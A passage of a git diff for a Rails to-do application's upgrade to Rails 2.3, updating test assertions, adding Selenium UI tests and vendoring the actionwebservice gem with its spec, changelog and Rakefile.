+    todo.notes = ' "link me to onenote":onenote:///E:\OneNote\dir\notes.one#PAGE&section-id={FD597D3A-3793-495F-8345-23D34A00DD3B}&page-id={1C95A1C7-6408-4804-B3B5-96C28426022B}&end'
+    todo.save!
+    get :index
+    assert_select("div#notes_todo_#{todo.id}", 'link me to onenote')
+    assert_select("div#notes_todo_#{todo.id} a", 'link me to onenote')
+    assert_select("div#notes_todo_#{todo.id} a[href=onenote:///E:\\OneNote\\dir\\notes.one#PAGE&amp;section-id={FD597D3A-3793-495F-8345-23D34A00DD3B}&amp;page-id={1C95A1C7-6408-4804-B3B5-96C28426022B}&amp;end]", 'link me to onenote')
+  end
 end
diff --git a/test/functional/users_controller_test.rb b/test/functional/users_controller_test.rb
index 0261efd6..9b03043c 100644
--- a/test/functional/users_controller_test.rb
+++ b/test/functional/users_controller_test.rb
@@ -123,7 +123,7 @@ class UsersControllerTest < ActionController::TestCase
   
   def test_create_adds_a_user
     login_as :admin_user
-    assert_difference(User, :count) do
+    assert_difference 'User.count' do
       post :create, :user => {:login => 'newbie', :password => 'newbiepass', :password_confirmation => 'newbiepass'}
     end
   end
@@ -132,7 +132,7 @@ class UsersControllerTest < ActionController::TestCase
   # 
   def test_create_by_non_admin
     login_as :other_user
-    assert_no_difference(User, :count) do
+    assert_no_difference 'User.count' do
       post :create, :user => {:login => 'newbie2', :password => 'newbiepass2', :password_confirmation => 'newbiepass2'}
     end
     assert_response :success
@@ -145,7 +145,7 @@ class UsersControllerTest < ActionController::TestCase
   
   def test_create_with_invalid_password_does_not_add_a_new_user
     login_as :admin_user
-    assert_no_difference(User, :count) do
+    assert_no_difference 'User.count' do
       post :create, :user => {:login => 'newbie', :password => '', :password_confirmation => ''}
     end
   end
@@ -170,7 +170,7 @@ class UsersControllerTest < ActionController::TestCase
   
   def test_create_with_duplicate_login_does_not_add_a_new_user
     login_as :admin_user
-    assert_no_difference(User, :count) do
+    assert_no_difference 'User.count' do
       post :create, :user => {:login => 'jane', :password => 'newbiepass', :password_confirmation => 'newbiepass'}
     end
   end
diff --git a/test/integration/context_xml_api_test.rb b/test/integration/context_xml_api_test.rb
index b18f0201..e95dbb75 100644
--- a/test/integration/context_xml_api_test.rb
+++ b/test/integration/context_xml_api_test.rb
@@ -13,12 +13,7 @@ class ContextXmlApiTest < ActionController::IntegrationTest
   def setup
     assert_test_environment_ok
   end
-  
-  def test_fails_with_401_if_not_authorized_user
-    authenticated_post_xml_to_context_create @@valid_postdata, 'nobody', 'nohow'
-    assert_401_unauthorized
-  end
-  
+
  def test_fails_with_invalid_xml_format
    # Fails too hard for test to catch 
    # authenticated_post_xml_to_context_create "<foo></bar>"
@@ -56,7 +51,7 @@ class ContextXmlApiTest < ActionController::IntegrationTest
   end
     
   def test_creates_new_context
-    assert_difference Context, :count do
+    assert_difference 'Context.count' do
       authenticated_post_xml_to_context_create
       assert_response 201
     end
@@ -74,4 +69,4 @@ class ContextXmlApiTest < ActionController::IntegrationTest
     assert_response_and_body 400, "Expected post format is valid xml like so: <request><context><name>context name</name></context></request>."
   end
   
-end
\ No newline at end of file
+end
diff --git a/test/integration/project_xml_api_test.rb b/test/integration/project_xml_api_test.rb
index e8ed7cce..df640f17 100644
--- a/test/integration/project_xml_api_test.rb
+++ b/test/integration/project_xml_api_test.rb
@@ -13,12 +13,7 @@ class ProjectXmlApiTest < ActionController::IntegrationTest
   def setup
     assert_test_environment_ok
   end
-  
-  def test_fails_with_401_if_not_authorized_user
-    authenticated_post_xml_to_project_create @@valid_postdata, 'nobody', 'nohow'
-    assert_401_unauthorized
-  end
-  
+
  def test_fails_with_invalid_xml_format
    #Fails too hard for test to catch
    # authenticated_post_xml_to_project_create "<foo></bar>"
@@ -50,7 +45,7 @@ class ProjectXmlApiTest < ActionController::IntegrationTest
   end
     
   def test_creates_new_project
-    assert_difference Project, :count do
+    assert_difference 'Project.count' do
       authenticated_post_xml_to_project_create
       assert_response :created
     end
@@ -68,4 +63,4 @@ class ProjectXmlApiTest < ActionController::IntegrationTest
     assert_response_and_body 404, "Expected post format is valid xml like so: <request><project><name>project name</name></project></request>."
   end
   
-end
\ No newline at end of file
+end
diff --git a/test/selenium/dependencies/assign_dependency.rsel b/test/selenium/dependencies/assign_dependency.rsel
new file mode 100644
index 00000000..4310b4b4
--- /dev/null
+++ b/test/selenium/dependencies/assign_dependency.rsel
@@ -0,0 +1,8 @@
+setup :fixtures => :all
+login :as => 'admin'
+open "/"
+drag_todo_to 18, 9
+wait_for_visible 'css=#todo_9 a.show_successors img'
+click 'css=#todo_9 a.show_successors img'
+assert_visible 'successors_todo_9'
+assert_visible 'css=#successors_todo_9 #successor_todo_18'
diff --git a/test/selenium/dependencies/unhide_hidden_context.rsel b/test/selenium/dependencies/unhide_hidden_context.rsel
new file mode 100644
index 00000000..07c0383b
--- /dev/null
+++ b/test/selenium/dependencies/unhide_hidden_context.rsel
@@ -0,0 +1,8 @@
+# Test for issue #964
+setup :fixtures => :all
+login :as => 'admin'
+Todo.create(:context => Context.find(3), :description => 'foo')
+open "/"
+click "css=#successor_todo_19 img.delete_item"
+wait_for_visible 'flash'
+assert_visible 'c3'
diff --git a/test/selenium/login/_cas_first_admin.rsel b/test/selenium/login/_cas_first_admin.rsel
new file mode 100644
index 00000000..c4291cec
--- /dev/null
+++ b/test/selenium/login/_cas_first_admin.rsel
@@ -0,0 +1,7 @@
+open :controller => 'login'
+type "username", username
+type "password", password
+click "//input[@value='Login']"
+wait_for_page_to_load "30000"
+click "signup"
+wait_for_page_to_load "30000"
diff --git a/test/selenium/login/_cas_first_normal_user.rsel b/test/selenium/login/_cas_first_normal_user.rsel
new file mode 100644
index 00000000..6c5d4da6
--- /dev/null
+++ b/test/selenium/login/_cas_first_normal_user.rsel
@@ -0,0 +1,11 @@
+open :controller => 'login'
+click "link=Login"
+wait_for_page_to_load "30000"
+type "username", username
+type "password", password
+click "//input[@value='Login']"
+wait_for_page_to_load "30000"
+click "link=Request Account"
+wait_for_page_to_load "30000"
+click "signup"
+wait_for_page_to_load "30000"
\ No newline at end of file
diff --git a/test/selenium/login/_cas_normal_user_login.rsel b/test/selenium/login/_cas_normal_user_login.rsel
new file mode 100644
index 00000000..7e31079c
--- /dev/null
+++ b/test/selenium/login/_cas_normal_user_login.rsel
@@ -0,0 +1,6 @@
+open :controller => 'login'
+click "link=Login"
+wait_for_page_to_load "30000"
+type "username", username
+type "password", password
+click "//input[@value='Login']"
diff --git a/test/selenium/mobile/navigation.rsel b/test/selenium/mobile/navigation.rsel
index 2d6efdb2..279fb5c6 100644
--- a/test/selenium/mobile/navigation.rsel
+++ b/test/selenium/mobile/navigation.rsel
@@ -31,5 +31,5 @@ wait_for_text 'css=h1 span.count', '2'
 
 # just test the navigation. 
 click_and_wait "link=Tickler"
-wait_for_text 'css=h1 span.count', '0'
+wait_for_text 'css=h1 span.count', '1'
 click_and_wait "link=Feeds"
diff --git a/test/selenium/project_detail/change_default_context.rsel b/test/selenium/project_detail/change_default_context.rsel
index 4d688a57..984752c3 100644
--- a/test/selenium/project_detail/change_default_context.rsel
+++ b/test/selenium/project_detail/change_default_context.rsel
@@ -16,7 +16,6 @@ type "todo_description", "test1"
 click "css=#todo-form-new-action .submit_box button"
 
 wait_for_visible "flash"
-wait_for_not_visible "flash"
 
 type "todo_description", "test2"
 click "css=#todo-form-new-action .submit_box button"
diff --git a/test/selenium/tags/complete_last_todo.rsel b/test/selenium/tags/complete_last_todo.rsel
new file mode 100644
index 00000000..ee3be43f
--- /dev/null
+++ b/test/selenium/tags/complete_last_todo.rsel
@@ -0,0 +1,7 @@
+#Test for issue #952
+setup :fixtures => :all
+login :as => 'admin'
+open "/todos/tag/foo"
+click "css=#line_todo_2 .item-checkbox"
+wait_for_element_not_present "css=#c2 #line_todo_2"
+wait_for_not_visible "c2"
diff --git a/test/selenium/tags/create_todo_in_hidden_context.rsel b/test/selenium/tags/create_todo_in_hidden_context.rsel
new file mode 100644
index 00000000..7ea8d481
--- /dev/null
+++ b/test/selenium/tags/create_todo_in_hidden_context.rsel
@@ -0,0 +1,8 @@
+setup :fixtures => :all
+login :as => 'admin'
+open "/todos/tag/foo"
+type "todo_description", "run around"
+type "todo_context_name", "freetime"
+click "todo_new_action_submit"
+wait_for_visible "flash"
+assert_text "css=#c7items div.description span", "run around"
diff --git a/test/selenium_helper.rb b/test/selenium_helper.rb
index a224ec57..340af422 100644
--- a/test/selenium_helper.rb
+++ b/test/selenium_helper.rb
@@ -44,6 +44,13 @@ module SeleniumOnRails::TestBuilderAccessors
        command command_name, expected_count
     end
   end
+
+  def drag_todo_to(id1, id2)
+    mouse_down_at "css=#line_todo_#{id1} img.grip", "4,4"
+    mouse_move_at "line_todo_#{id2}", '20,3'
+    mouse_over "line_todo_#{id2}"
+    mouse_up_at "line_todo_#{id2}", '20,3'
+  end
   
   def assert_context_count_incremented(&block)
     store_context_count 'initial_context_count'
diff --git a/test/test_helper.rb b/test/test_helper.rb
index 3272bc17..e621735e 100644
--- a/test/test_helper.rb
+++ b/test/test_helper.rb
@@ -1,6 +1,6 @@
 ENV["RAILS_ENV"] = "test"
 require File.expand_path(File.dirname(__FILE__) + "/../config/environment")
-require File.expand_path(File.dirname(__FILE__) + "/../app/controllers/application")
+require File.expand_path(File.dirname(__FILE__) + "/../app/controllers/application_controller")
 require 'test_help'
 require 'flexmock/test_unit' #and the flexmock gem, too!
 require 'action_web_service/test_invoke'
diff --git a/test/unit/user_test.rb b/test/unit/user_test.rb
index b3c62fbc..04e5c715 100644
--- a/test/unit/user_test.rb
+++ b/test/unit/user_test.rb
@@ -55,54 +55,54 @@ class UserTest < ActiveSupport::TestCase
   # Test a password shorter than 5 characters
   #
   def test_validate_short_password
-    assert_no_difference User, :count do
+    assert_no_difference 'User.count' do
       u = create_user :password => generate_random_string(4)
       assert_error_on u, :password, "is too short (minimum is 5 characters)"
     end
   end
 
   def test_validate_long_password
-    assert_no_difference User, :count do
+    assert_no_difference 'User.count' do
       u = create_user :password => generate_random_string(41)
       assert_error_on u, :password, "is too long (maximum is 40 characters)"
     end
   end
 
   def test_validate_correct_length_password
-    assert_difference User, :count do
+    assert_difference 'User.count' do
       create_user :password => generate_random_string(6)
     end
   end
 
   def test_validate_missing_password
-    assert_no_difference User, :count do
+    assert_no_difference 'User.count' do
       u = create_user :password => ''
       assert_errors_on u, :password, ["can't be blank", "is too short (minimum is 5 characters)"]
     end
   end
 
   def test_validate_short_login
-    assert_no_difference User, :count do
+    assert_no_difference 'User.count' do
       u = create_user :login => 'ba'
       assert_error_on u, :login, "is too short (minimum is 3 characters)"
     end
   end
 
   def test_validate_long_login
-    assert_no_difference User, :count do
+    assert_no_difference 'User.count' do
       u = create_user :login => generate_random_string(81)
       assert_error_on u, :login, "is too long (maximum is 80 characters)"
     end    
   end
   
   def test_validate_correct_length_login
-    assert_difference User, :count do
+    assert_difference 'User.count' do
       create_user :login => generate_random_string(6)
     end
   end
 
   def test_validate_missing_login
-    assert_no_difference User, :count do
+    assert_no_difference 'User.count' do
       u = create_user :login => ''
       assert_errors_on u, :login, ["can't be blank", "is too short (minimum is 3 characters)"]
     end
@@ -272,28 +272,28 @@ class UserTest < ActiveSupport::TestCase
   end
 
   def test_should_create_user
-    assert_difference User, :count do
+    assert_difference 'User.count' do
       user = create_user
       assert !user.new_record?, "#{user.errors.full_messages.to_sentence}"
     end
   end
 
   def test_should_require_login
-    assert_no_difference User, :count do
+    assert_no_difference 'User.count' do
       u = create_user(:login => nil)
       assert u.errors.on(:login)
     end
   end
 
   def test_should_require_password
-    assert_no_difference User, :count do
+    assert_no_difference 'User.count' do
       u = create_user(:password => nil)
       assert u.errors.on(:password)
     end
   end
 
   def test_should_require_password_confirmation
-    assert_no_difference User, :count do
+    assert_no_difference 'User.count' do
       u = create_user(:password_confirmation => nil)
       assert u.errors.on(:password_confirmation)
     end
diff --git a/vendor/gems/datanoise-actionwebservice-2.3.2/.specification b/vendor/gems/datanoise-actionwebservice-2.3.2/.specification
new file mode 100644
index 00000000..919a9b04
--- /dev/null
+++ b/vendor/gems/datanoise-actionwebservice-2.3.2/.specification
@@ -0,0 +1,172 @@
+--- !ruby/object:Gem::Specification 
+name: datanoise-actionwebservice
+version: !ruby/object:Gem::Version 
+  version: 2.3.2
+platform: ruby
+authors: 
+- Leon Breedt, Kent Sibilev
+autorequire: 
+bindir: bin
+cert_chain: []
+
+date: 2009-03-29 00:00:00 -04:00
+default_executable: 
+dependencies: 
+- !ruby/object:Gem::Dependency 
+  name: actionpack
+  type: :runtime
+  version_requirement: 
+  version_requirements: !ruby/object:Gem::Requirement 
+    requirements: 
+    - - "="
+      - !ruby/object:Gem::Version 
+        version: 2.3.2
+    version: 
+- !ruby/object:Gem::Dependency 
+  name: activerecord
+  type: :runtime
+  version_requirement: 
+  version_requirements: !ruby/object:Gem::Requirement 
+    requirements: 
+    - - "="
+      - !ruby/object:Gem::Version 
+        version: 2.3.2
+    version: 
+description: Adds WSDL/SOAP and XML-RPC web service support to Action Pack
+email: bitserf@gmail.com, ksibilev@yahoo.com
+executables: []
+
+extensions: []
+
+extra_rdoc_files: []
+
+files: 
+- Rakefile
+- setup.rb
+- README
+- TODO
+- CHANGELOG
+- MIT-LICENSE
+- examples/googlesearch
+- examples/googlesearch/autoloading
+- examples/googlesearch/autoloading/google_search_api.rb
+- examples/googlesearch/autoloading/google_search_controller.rb
+- examples/googlesearch/delegated
+- examples/googlesearch/delegated/google_search_service.rb
+- examples/googlesearch/delegated/search_controller.rb
+- examples/googlesearch/direct
+- examples/googlesearch/direct/google_search_api.rb
+- examples/googlesearch/direct/search_controller.rb
+- examples/googlesearch/README
+- examples/metaWeblog
+- examples/metaWeblog/apis
+- examples/metaWeblog/apis/blogger_api.rb
+- examples/metaWeblog/apis/blogger_service.rb
+- examples/metaWeblog/apis/meta_weblog_api.rb
+- examples/metaWeblog/apis/meta_weblog_service.rb
+- examples/metaWeblog/controllers
+- examples/metaWeblog/controllers/xmlrpc_controller.rb
+- examples/metaWeblog/README
+- lib/action_web_service
+- lib/action_web_service/api.rb
+- lib/action_web_service/base.rb
+- lib/action_web_service/casting.rb
+- lib/action_web_service/client
+- lib/action_web_service/client/base.rb
+- lib/action_web_service/client/soap_client.rb
+- lib/action_web_service/client/xmlrpc_client.rb
+- lib/action_web_service/client.rb
+- lib/action_web_service/container
+- lib/action_web_service/container/action_controller_container.rb
+- lib/action_web_service/container/delegated_container.rb
+- lib/action_web_service/container/direct_container.rb
+- lib/action_web_service/container.rb
+- lib/action_web_service/dispatcher
+- lib/action_web_service/dispatcher/abstract.rb
+- lib/action_web_service/dispatcher/action_controller_dispatcher.rb
+- lib/action_web_service/dispatcher.rb
+- lib/action_web_service/invocation.rb
+- lib/action_web_service/protocol
+- lib/action_web_service/protocol/abstract.rb
+- lib/action_web_service/protocol/discovery.rb
+- lib/action_web_service/protocol/soap_protocol
+- lib/action_web_service/protocol/soap_protocol/marshaler.rb
+- lib/action_web_service/protocol/soap_protocol.rb
+- lib/action_web_service/protocol/xmlrpc_protocol.rb
+- lib/action_web_service/protocol.rb
+- lib/action_web_service/scaffolding.rb
+- lib/action_web_service/struct.rb
+- lib/action_web_service/support
+- lib/action_web_service/support/class_inheritable_options.rb
+- lib/action_web_service/support/signature_types.rb
+- lib/action_web_service/templates
+- lib/action_web_service/templates/scaffolds
+- lib/action_web_service/templates/scaffolds/layout.html.erb
+- lib/action_web_service/templates/scaffolds/methods.html.erb
+- lib/action_web_service/templates/scaffolds/parameters.html.erb
+- lib/action_web_service/templates/scaffolds/result.html.erb
+- lib/action_web_service/test_invoke.rb
+- lib/action_web_service/version.rb
+- lib/action_web_service.rb
+- lib/actionwebservice.rb
+- test/abstract_client.rb
+- test/abstract_dispatcher.rb
+- test/abstract_unit.rb
+- test/api_test.rb
+- test/apis
+- test/apis/auto_load_api.rb
+- test/apis/broken_auto_load_api.rb
+- test/base_test.rb
+- test/casting_test.rb
+- test/client_soap_test.rb
+- test/client_xmlrpc_test.rb
+- test/container_test.rb
+- test/dispatcher_action_controller_soap_test.rb
+- test/dispatcher_action_controller_xmlrpc_test.rb
+- test/fixtures
+- test/fixtures/db_definitions
+- test/fixtures/db_definitions/mysql.sql
+- test/fixtures/users.yml
+- test/gencov
+- test/invocation_test.rb
+- test/run
+- test/scaffolded_controller_test.rb
+- test/struct_test.rb
+- test/test_invoke_test.rb
+- generators/web_service
+- generators/web_service/templates
+- generators/web_service/templates/api_definition.rb
+- generators/web_service/templates/controller.rb
+- generators/web_service/templates/functional_test.rb
+- generators/web_service/USAGE
+- generators/web_service/web_service_generator.rb
+has_rdoc: true
+homepage: http://www.rubyonrails.org
+licenses: []
+
+post_install_message: 
+rdoc_options: []
+
+require_paths: 
+- lib
+required_ruby_version: !ruby/object:Gem::Requirement 
+  requirements: 
+  - - ">="
+    - !ruby/object:Gem::Version 
+      version: "0"
+  version: 
+required_rubygems_version: !ruby/object:Gem::Requirement 
+  requirements: 
+  - - ">="
+    - !ruby/object:Gem::Version 
+      version: "0"
+  version: 
+requirements: 
+- none
+rubyforge_project: aws
+rubygems_version: 1.3.5
+signing_key: 
+specification_version: 2
+summary: Web service support for Action Pack.
+test_files: []
+
diff --git a/vendor/rails/actionwebservice/CHANGELOG b/vendor/gems/datanoise-actionwebservice-2.3.2/CHANGELOG
similarity index 92%
rename from vendor/rails/actionwebservice/CHANGELOG
rename to vendor/gems/datanoise-actionwebservice-2.3.2/CHANGELOG
index bb528035..4fccf992 100644
--- a/vendor/rails/actionwebservice/CHANGELOG
+++ b/vendor/gems/datanoise-actionwebservice-2.3.2/CHANGELOG
@@ -1,4 +1,6 @@
-*SVN*
+*2.1.0*
+
+* Porting to Rails 2.1.0 [Kent Sibilev]
 
 * Documentation for ActionWebService::API::Base. Closes #7275. [zackchandler]
 
@@ -12,27 +14,80 @@
 
 * Removed deprecated @request and @response usages. [Kent Sibilev]
 
+* Removed deprecated end_form_tag helper. [Kent Sibilev]
+
+* Removed deprecated @request and @response usages. [Kent Sibilev]
+
+*1.2.6* (November 24th, 2007)
+
+* Depend on Action Pack 1.13.6
+
+* Depend on Active Record 1.15.6
+
+
+*1.2.5* (October 12th, 2007)
+
+* Depend on Action Pack 1.13.5
+
+* Depend on Active Record 1.15.5
+
+
+*1.2.4* (October 4th, 2007)
+
+* Depend on Action Pack 1.13.4
+
+* Depend on Active Record 1.15.4
+
+
+*1.2.3* (March 12th, 2007)
+
+* Depend on Action Pack 1.13.3
+
+
+*1.2.2* (Feburary 4th, 2007)
+
+* Depend on Action Pack 1.13.2
+
+
+*1.2.1* (January 16th, 2007)
+
+* Depend on Action Pack 1.13.1
+
+
+*1.2.0* (January 16th, 2007)
+
 * Removed invocation of deprecated before_action and around_action filter methods. Corresponding before_invocation and after_invocation methods should be used instead. #6275 [Kent Sibilev]
 
 * Provide access to the underlying SOAP driver. #6212 [bmilekic, Kent Sibilev]
 
-* Deprecation: update docs. #5998 [jakob@mentalized.net, Kevin Clark]
-
 * ActionWebService WSDL generation ignores HTTP_X_FORWARDED_HOST [Paul Butcher <paul@paulbutcher.com>]
 
 * Tighten rescue clauses.  #5985 [james@grayproductions.net]
 
 * Fixed XMLRPC multicall when one of the called methods returns a struct object. [Kent Sibilev] 
 
-* Replace Reloadable with Reloadable::Deprecated. [Nicholas Seckar]
-
 * Fix invoke_layered since api_method didn't declare :expects. Closes #4720. [Kevin Ballard <kevin@sb.org>, Kent Sibilev]
 
-* Replace alias method chaining with Module#alias_method_chain. [Marcel Molina Jr.]
 
-* Replace Ruby's deprecated append_features in favor of included. [Marcel Molina Jr.]
+*1.1.6* (August 10th, 2006)
+
+* Rely on Action Pack 1.12.5
+
+
+*1.1.5* (August 8th, 2006)
+
+* Rely on Action Pack 1.12.4 and Active Record 1.14.4
+
+
+*1.1.4* (June 29th, 2006)
+
+* Rely on Action Pack 1.12.3
+
+
+*1.1.3* (June 27th, 2006)
+
+* Rely on Action Pack 1.12.2 and Active Record 1.14.3
 
-* Fix test database name typo. [Marcel Molina Jr.]
 
 *1.1.2* (April 9th, 2006)
 
diff --git a/vendor/rails/actionwebservice/MIT-LICENSE b/vendor/gems/datanoise-actionwebservice-2.3.2/MIT-LICENSE
similarity index 100%
rename from vendor/rails/actionwebservice/MIT-LICENSE
rename to vendor/gems/datanoise-actionwebservice-2.3.2/MIT-LICENSE
diff --git a/vendor/rails/actionwebservice/README b/vendor/gems/datanoise-actionwebservice-2.3.2/README
similarity index 100%
rename from vendor/rails/actionwebservice/README
rename to vendor/gems/datanoise-actionwebservice-2.3.2/README
diff --git a/vendor/rails/actionwebservice/Rakefile b/vendor/gems/datanoise-actionwebservice-2.3.2/Rakefile
similarity index 88%
rename from vendor/rails/actionwebservice/Rakefile
rename to vendor/gems/datanoise-actionwebservice-2.3.2/Rakefile
index ad2ad223..bd61b485 100644
--- a/vendor/rails/actionwebservice/Rakefile
+++ b/vendor/gems/datanoise-actionwebservice-2.3.2/Rakefile
@@ -34,8 +34,8 @@ SCHEMA_PATH = File.join(File.dirname(__FILE__), *%w(test fixtures db_definitions
 
 desc 'Build the MySQL test database'
 task :build_database do 
-  %x( mysqladmin  create actionwebservice_unittest )
-  %x( mysql  actionwebservice_unittest < #{File.join(SCHEMA_PATH, 'mysql.sql')} )
+  %x( mysqladmin -uroot create actionwebservice_unittest )
+  %x( mysql -uroot actionwebservice_unittest < #{File.join(SCHEMA_PATH, 'mysql.sql')} )
 end
 
 
@@ -67,23 +67,24 @@ spec = Gem::Specification.new do |s|
   s.description = %q{Adds WSDL/SOAP and XML-RPC web service support to Action Pack}
   s.version = PKG_VERSION
 
-  s.author = "Leon Breedt"
-  s.email = "bitserf@gmail.com"
+  s.author = "Leon Breedt, Kent Sibilev"
+  s.email = "bitserf@gmail.com, ksibilev@yahoo.com"
   s.rubyforge_project = "aws"
   s.homepage = "http://www.rubyonrails.org"
 
-  s.add_dependency('actionpack', '= 1.13.5' + PKG_BUILD)
-  s.add_dependency('activerecord', '= 1.15.5' + PKG_BUILD)
+  s.add_dependency('actionpack', '= 2.3.2' + PKG_BUILD)
+  s.add_dependency('activerecord', '= 2.3.2' + PKG_BUILD)
 
   s.has_rdoc = true
   s.requirements << 'none'
   s.require_path = 'lib'
-  s.autorequire = 'action_web_service'
+  s.autorequire = 'actionwebservice'
 
   s.files = [ "Rakefile", "setup.rb", "README", "TODO", "CHANGELOG", "MIT-LICENSE" ]
-  s.files = s.files + Dir.glob( "examples/**/*" ).delete_if { |item| item.include?( "\.svn" ) }
-  s.files = s.files + Dir.glob( "lib/**/*" ).delete_if { |item| item.include?( "\.svn" ) }
-  s.files = s.files + Dir.glob( "test/**/*" ).delete_if { |item| item.include?( "\.svn" ) }
+  s.files = s.files + Dir.glob( "examples/**/*" ).delete_if { |item| item.match( /\.(svn|git)/ ) }
+  s.files = s.files + Dir.glob( "lib/**/*" ).delete_if { |item| item.match( /\.(svn|git)/ ) }
+  s.files = s.files + Dir.glob( "test/**/*" ).delete_if { |item| item.match( /\.(svn|git)/ ) }
+  s.files = s.files + Dir.glob( "generators/**/*" ).delete_if { |item| item.match( /\.(svn|git)/ ) }
 end
 Rake::GemPackageTask.new(spec) do |p|
   p.gem_spec = spec
diff --git a/vendor/rails/actionwebservice/TODO b/vendor/gems/datanoise-actionwebservice-2.3.2/TODO
similarity index 100%
rename from vendor/rails/actionwebservice/TODO
rename to vendor/gems/datanoise-actionwebservice-2.3.2/TODO
diff --git a/vendor/rails/actionwebservice/examples/googlesearch/README b/vendor/gems/datanoise-actionwebservice-2.3.2/examples/googlesearch/README
similarity index 100%
rename from vendor/rails/actionwebservice/examples/googlesearch/README
rename to vendor/gems/datanoise-actionwebservice-2.3.2/examples/googlesearch/README
diff --git a/vendor/rails/actionwebservice/examples/googlesearch/autoloading/google_search_api.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/examples/googlesearch/autoloading/google_search_api.rb
similarity index 100%
rename from vendor/rails/actionwebservice/examples/googlesearch/autoloading/google_search_api.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/examples/googlesearch/autoloading/google_search_api.rb
diff --git a/vendor/rails/actionwebservice/examples/googlesearch/autoloading/google_search_controller.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/examples/googlesearch/autoloading/google_search_controller.rb
similarity index 100%
rename from vendor/rails/actionwebservice/examples/googlesearch/autoloading/google_search_controller.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/examples/googlesearch/autoloading/google_search_controller.rb
diff --git a/vendor/rails/actionwebservice/examples/googlesearch/delegated/google_search_service.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/examples/googlesearch/delegated/google_search_service.rb
similarity index 100%
rename from vendor/rails/actionwebservice/examples/googlesearch/delegated/google_search_service.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/examples/googlesearch/delegated/google_search_service.rb
diff --git a/vendor/rails/actionwebservice/examples/googlesearch/delegated/search_controller.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/examples/googlesearch/delegated/search_controller.rb
similarity index 100%
rename from vendor/rails/actionwebservice/examples/googlesearch/delegated/search_controller.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/examples/googlesearch/delegated/search_controller.rb
diff --git a/vendor/rails/actionwebservice/examples/googlesearch/direct/google_search_api.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/examples/googlesearch/direct/google_search_api.rb
similarity index 100%
rename from vendor/rails/actionwebservice/examples/googlesearch/direct/google_search_api.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/examples/googlesearch/direct/google_search_api.rb
diff --git a/vendor/rails/actionwebservice/examples/googlesearch/direct/search_controller.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/examples/googlesearch/direct/search_controller.rb
similarity index 100%
rename from vendor/rails/actionwebservice/examples/googlesearch/direct/search_controller.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/examples/googlesearch/direct/search_controller.rb
diff --git a/vendor/rails/actionwebservice/examples/metaWeblog/README b/vendor/gems/datanoise-actionwebservice-2.3.2/examples/metaWeblog/README
similarity index 100%
rename from vendor/rails/actionwebservice/examples/metaWeblog/README
rename to vendor/gems/datanoise-actionwebservice-2.3.2/examples/metaWeblog/README
diff --git a/vendor/rails/actionwebservice/examples/metaWeblog/apis/blogger_api.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/examples/metaWeblog/apis/blogger_api.rb
similarity index 100%
rename from vendor/rails/actionwebservice/examples/metaWeblog/apis/blogger_api.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/examples/metaWeblog/apis/blogger_api.rb
diff --git a/vendor/rails/actionwebservice/examples/metaWeblog/apis/blogger_service.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/examples/metaWeblog/apis/blogger_service.rb
similarity index 100%
rename from vendor/rails/actionwebservice/examples/metaWeblog/apis/blogger_service.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/examples/metaWeblog/apis/blogger_service.rb
diff --git a/vendor/rails/actionwebservice/examples/metaWeblog/apis/meta_weblog_api.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/examples/metaWeblog/apis/meta_weblog_api.rb
similarity index 100%
rename from vendor/rails/actionwebservice/examples/metaWeblog/apis/meta_weblog_api.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/examples/metaWeblog/apis/meta_weblog_api.rb
diff --git a/vendor/rails/actionwebservice/examples/metaWeblog/apis/meta_weblog_service.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/examples/metaWeblog/apis/meta_weblog_service.rb
similarity index 100%
rename from vendor/rails/actionwebservice/examples/metaWeblog/apis/meta_weblog_service.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/examples/metaWeblog/apis/meta_weblog_service.rb
diff --git a/vendor/rails/actionwebservice/examples/metaWeblog/controllers/xmlrpc_controller.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/examples/metaWeblog/controllers/xmlrpc_controller.rb
similarity index 100%
rename from vendor/rails/actionwebservice/examples/metaWeblog/controllers/xmlrpc_controller.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/examples/metaWeblog/controllers/xmlrpc_controller.rb
diff --git a/vendor/gems/datanoise-actionwebservice-2.3.2/generators/web_service/USAGE b/vendor/gems/datanoise-actionwebservice-2.3.2/generators/web_service/USAGE
new file mode 100644
index 00000000..d3e45b7f
--- /dev/null
+++ b/vendor/gems/datanoise-actionwebservice-2.3.2/generators/web_service/USAGE
@@ -0,0 +1,28 @@
+Description:
+    The web service generator creates the controller and API definition for 
+    a web service.
+
+    The generator takes a web service name and a list of API methods as arguments.
+    The web service name may be given in CamelCase or under_score and should
+    contain no extra suffixes.  To create a web service within a
+    module, specify the web service name as 'module/webservice'.
+
+    The generator creates a controller class in app/controllers, an API definition
+    in app/apis, and a functional test suite in test/functional.
+
+Example:
+    ./script/generate web_service User add edit list remove
+
+    User web service.
+        Controller: app/controllers/user_controller.rb
+        API:        app/apis/user_api.rb
+        Test:       test/functional/user_api_test.rb
+
+Modules Example:
+    ./script/generate web_service 'api/registration' register renew
+
+    Registration web service.
+        Controller: app/controllers/api/registration_controller.rb
+        API:        app/apis/api/registration_api.rb
+        Test:       test/functional/api/registration_api_test.rb
+
diff --git a/vendor/gems/datanoise-actionwebservice-2.3.2/generators/web_service/templates/api_definition.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/generators/web_service/templates/api_definition.rb
new file mode 100644
index 00000000..97d0b608
--- /dev/null
+++ b/vendor/gems/datanoise-actionwebservice-2.3.2/generators/web_service/templates/api_definition.rb
@@ -0,0 +1,5 @@
+class <%= class_name %>Api < ActionWebService::API::Base
